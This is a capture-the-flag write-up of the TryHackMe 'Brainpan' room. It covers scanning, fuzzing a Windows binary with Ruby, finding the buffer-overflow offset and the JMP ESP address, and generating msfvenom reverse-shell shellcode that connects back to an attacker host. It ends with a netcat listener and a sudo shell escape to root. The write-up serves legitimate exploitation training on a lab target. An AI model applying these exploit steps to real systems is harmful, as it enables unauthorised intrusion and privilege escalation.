TryHackMe "BRAINPAN" Ruby Exploitation - No Metasploit


Brainpan is an easier buffer overflow exploitation challenge, and is comparable to what one would expect in the eCPPT exam from eLearn Security, as well as the OSCP.  Brainpan is a free room from TryHackMe (https://tryhackme.com/room/brainpan), and was actually a lot of fun, but I admittedly enjoy exploitation like this.  Today we are going to utilize a method using Ruby that I discovered in PTP and have expanded upon over time.  So let's get started. 

Scanning

Naturally we need to understand our target, so we can kick off with a simple Nmap scan followed by the -A scan.

 nmap -Pn 10.10.40.128
 
 nmap -Pn -A -p 9999,10000 10.10.40.128

The basic scan doesn't really help us, however the -A scan tells us we have a webserver, and what also appears to be some sort of program running on 9999.  Let's investigate some more.

Enumeration

A quick check of the 9999 port in a web browser shows us the following, which again looks like some sort of program header.

10.10.40.128:9999 browser page

Let's move to the 10000 port in the browser and see what we get.
10.10.40.128:10000 Safe Coding webpage

We are presented with a webpage that provides some actually decent information about safe coding, vulnerabilities, threats, etc.  Unfortunately there doesn't appear to be any links, however we can investigate further by trying to enumerate subdirectories.  We can use Dirsearch for this.
python3 dirsearch.py -u 10.10.40.128:10000 -e txt,cgi,php,exe,html -x 400,401,403 -r -R 3

What we are doing here is using Dirsearch to check for directories in the listed port, specfic extensions to look for, some page codes to ignore, and to check recursively.  We locate a few subdirectories, including one named /bin.  When we check this out we find an executable named "brainpan.exe."

10.10.40.128:10000/bin/brainpan.exe

So we have discovered this program, and we know that there is a service of some sort running on port 9999 that could be similar or tied to this.  We should download this file and move it to our lab environment for testing and possible exploitation.

Exploitation

I maintain a Windows 10 x86 lab environment specifically for testing and exploiting buffer overflow vulnerabilities.  My lab has numerous tools, including Immunity Debugger, some custom executables, DevC++, Notepad++, etc.  In this case I copied the downloaded brainpan.exe to that environment and opened it.  This is what I found.

Brainpan running locally

We can see that the program has an open port to 9999, which explains our earlier findings, and that it is waiting for a connection.  There are several options going forward that we can use to poke at the program, however we are going to use a tool called "Pry" which runs on Ruby.  If you don't have it, it's available in the apt repository for download.  Once you have it, we can move forward by running "pry --simple-prompt."  Additionally we can run a command to connect to the target program, which we can confirm with a side by side view as seen below.

 Left - pry --simple-prompt followed by s=TCPSocket.new("192.168.1.45",9999); Right - confirmation that the connection request was received

 Now that we know we can connect to the machine with Pry we can leverage it's ability to send data to a target.  We can essentially fuzz the program from Pry in the following manner, using the "s.puts" command.

s.puts "A"*500

In the above, we have sent 500 A characters to the machine as a test.  As we fuzz the application we can start low, then go high, and walk back and forth until we find a number withing a hundred bytes or so. Below you will see that the program is now loaded in to Immunity Debugger to do this.

Brainpan.exe loaded in Immunity Debugger for testing

 I "walked" my overflow value in to a value of 600 bytes, while as we saw before 500 was too low.  

Program crash at 600 bytes

We can see above that the EIP is filled with the A's that we sent from Pry, so we know that we have filled the instruction pointer.  From here we need to determine the offset value, which is the amount of bytes required to get to the EIP itself.  We need to use a tool called pattern_create first to do this.
./pattern_create.rb -l 600

What we have done here is create a pattern of characters that will fill the EIP.
pattern_create value sent to application using Pry

 Application crash and EIP value set from the pattern - note this value

Now that we have an EIP value, we simply enter this into the "pattern_offset" tool," which can interpret the value we have found and convert it to an offset value.  
Offset value 524

The offset value we have found will now be the first value of our exploit, which will prepend follow on commands that will be sent to the vulnerable application.  Now that we have this value we need to determine if there are any "bad characters" that may affect the buffer overflow.  I have linked these characters, plus a "boiler plate" for the upcoming work, at my Github page here https://github.com/dievus/rubybufferoverflow.

You will need to restart your program in Immunity Debugger, copy the bad characters from the Github, and paste them into the boilerplate as shown below.
Boilerplate buildup - Notice offset value, no-op value, badchar variable and TCP socket settings

Once your program is running again in Immunity Debugger, send the script off as shown above.  The program should crash, and you'll want to follow along with the next images.

Click ESP, Choose Follow in Dump

 Dump Output - No discernible bad character output

We don't see any characters out of place in the dump above, so we can assume the only bad character we will need to prevent is "\x00" which is typically done by default.  This will be important for our payload generation shortly.
We now need to go about ensuring that the JMP ESP ASLR value is false, which will allow us to utilize the exploit across operating systems (research more on ASLR protections on your own).  We can use !mona modules for this, as seen below.

!mona modules

ASLR protections are not set, as well as any other settings.  This means that the JMP ESP value will be consistent across older and newer operating systems alike.  To find the JMP ESP value we can utilize another !mona command as seen below.
!mona jmp -r esp -m brainpan.exe

We see a value of 0x311712f3, however we need to convert this to "Little Endian" format to be utilized in our exploit.  Little Endian format would be \xf3\x12\x17\x31.  Let's insert this into our Ruby exploit.
JMP ESP inserted in "Little Endian" format

To recap, we now have our offset value, our JMP ESP value, and no-op "sled" values.  We just need to build out our shellcode to insert before we can attempt the exploit.  We can do this with msfvenom.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.1.198 LPORT=4444 -f rb -b "\x00"

Breaking down the shellcode, we are using a Linux payload because the machine is Linux and presumably using Wine to run it.  We have set our LHOST and LPORT to our local machine and a port of our choosing.  The -f is the format to output the shellcode, and in this case "rb" for Ruby, and the -b is noting the characters to leave out, which we only have "\x00" this time around.  Run it and copy that value, and paste it into the final section of our exploit.  We can then start a Netcat listener on the port we noted in the exploit, and run the program.  With luck, you should get something similar to the below image.

Top Right - Shellcode added to exploit; Top Left - netcat listener running, Bottom - exploit ran 

And as expected the exploit was successful and we get a reverse shell.  Additionally I ran id to see our user, and utilized a Python one-liner to get a more interactive shell.  We can run sudo -l to check our privileges on the machine.  I've ran the command as permitted, which also presents the following results.
sudo -l; sudo /home/anansi/bin/anansi_util

We have this command that suggests if we run it followed by manual and a command, that something will happen.  In this case I did it with ls, and was able to do a "shell escape" utilizing !/bin/bash.  This granted root user privileges, and that is it.  There was no further tasks available for this room.
sudo /home/anansi/bin/anansi_util manual ls

Final Thoughts

This was a fun challenge for me to do, but again I admittedly enjoy binary exploitation.  This challenge ended abruptly which was unexpected, and left me wishing for a bit more on the machine side itself.  But all in all, great challenge, and I hope you learned a new trick to add to your toolset if you ever need to exploit an application.  Until next time, thank you for joining!

Comments

Popular Posts